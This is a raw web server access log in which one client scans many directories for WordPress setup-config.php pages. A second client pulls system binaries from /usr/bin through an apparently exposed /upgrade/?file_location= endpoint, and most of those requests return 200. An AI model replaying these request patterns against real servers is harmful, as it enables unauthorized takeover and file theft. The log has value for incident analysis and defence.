43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bfl.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bfl.com-20260912023804/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 13503 "https://163.245.207.76:443/bft.com.tw/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbsqlodbc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105749 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbsqlodbc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bft.com-20260912023929/wp-admin/setup-config.php HTTP/1.1" 200 13611 "https://163.245.207.76:443/bft.com-20260912023929/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 43143 "https://163.245.207.76:443/big-wife.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /big-wife.com-20260912023937/ HTTP/1.1" 404 43143 "https://163.245.207.76:443/big-wife.com-20260912023937/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 94333 "https://163.245.207.76:443/bfl.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bfl.com-20260912023804/ HTTP/1.1" 404 94333 "https://163.245.207.76:443/bfl.com-20260912023804/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmokutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 122378 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmokutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /biotaiwan.com-20260912023713/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bioway88.com-20260912023827/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bodbooks.com-20260912023809/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 50094 "https://163.245.207.76:443/bodbooks.com.tw/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprtstat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprtstat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /biotaiwan.com-20260912023713/ HTTP/1.1" 404 31020 "https://163.245.207.76:443/biotaiwan.com-20260912023713/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 86048 "https://163.245.207.76:443/bioway88.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 31020 "https://163.245.207.76:443/biotaiwan.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bodbooks.com-20260912023809/ HTTP/1.1" 404 50094 "https://163.245.207.76:443/bodbooks.com-20260912023809/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:28 -0400] "GET /bioway88.com-20260912023827/ HTTP/1.1" 404 86048 "https://163.245.207.76:443/bioway88.com-20260912023827/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Freadelf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 372125 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Freadelf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bossini.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bossini.com-20260912023937/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /booking-wise2.com-20260912023940/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bogroup.com-20260912023931/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rep_pip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_rep_pip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bogroup.com-20260912023931/ HTTP/1.1" 404 75714 "https://163.245.207.76:443/bogroup.com-20260912023931/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 65005 "https://163.245.207.76:443/bossini.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /booking-wise2.com-20260912023940/ HTTP/1.1" 404 22192 "https://163.245.207.76:443/booking-wise2.com-20260912023940/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 22192 "https://163.245.207.76:443/booking-wise2.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 75714 "https://163.245.207.76:443/bogroup.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:29 -0400] "GET /bossini.com-20260912023937/ HTTP/1.1" 404 65005 "https://163.245.207.76:443/bossini.com-20260912023937/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_unmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105351 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_unmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /upgrade-20260912023806/ HTTP/1.1" 200 31540 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /cgi-bin-20260912023932/ HTTP/1.1" 200 1864 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /upgrade/ HTTP/1.1" 200 30751 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /broadweb.com-20260912023716/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipnote&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipnote&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /broadweb.com-20260912023716/ HTTP/1.1" 404 64128 "https://163.245.207.76:443/broadweb.com-20260912023716/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 64128 "https://163.245.207.76:443/broadweb.com.tw/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95452 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wp-content-20260912023544/ HTTP/1.1" 200 1611 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wordpress-6.6-20260912023539/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wp-content/ HTTP/1.1" 200 1566 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 2968 "https://163.245.207.76:443/wordpress-6.6.2-zh_TW/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:30 -0400] "GET /wordpress-6.6-20260912023539/wp-admin/setup-config.php HTTP/1.1" 200 3024 "https://163.245.207.76:443/wordpress-6.6-20260912023539/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-btrace2fio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffio-btrace2fio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffold&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110475 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffold&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fg++&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95446 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fg++&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetent&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107779 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetent&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkillall&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107757 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fkillall&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpodchecker&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97607 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpodchecker&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-hwdb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100913 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-hwdb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fedgepaint&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 146642 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fedgepaint&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fghostscript&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99458 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fghostscript&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocalectl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flocalectl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110142 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsieve-test&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110652 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsieve-test&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ful&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104380 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ful&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchattr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101536 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchattr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgraphml2gv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105058 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgraphml2gv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman.man-db&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 147024 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman.man-db&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrace&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 831803 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrace&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fausyscall&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100159 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fausyscall&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiio_generic_buffer&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107845 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fiio_generic_buffer&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha224hmac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108658 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha224hmac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipsplit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipsplit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fex&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 821714 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fex&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffallocate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104250 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffallocate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-release&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99396 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-release&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95976 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fturbostat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 173664 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fturbostat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fatrm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117669 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fatrm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibtoolize&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 138396 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibtoolize&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpinky&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpinky&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftcptraceroute&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96717 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftcptraceroute&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwpctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 122556 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwpctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffiologparser.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98289 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffiologparser.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-set&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-set&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsedispol&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 203968 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsedispol&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frsync-ssl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98093 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frsync-ssl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipdetails&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114564 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipdetails&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsf-office-thumbnailer&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101953 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsf-office-thumbnailer&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
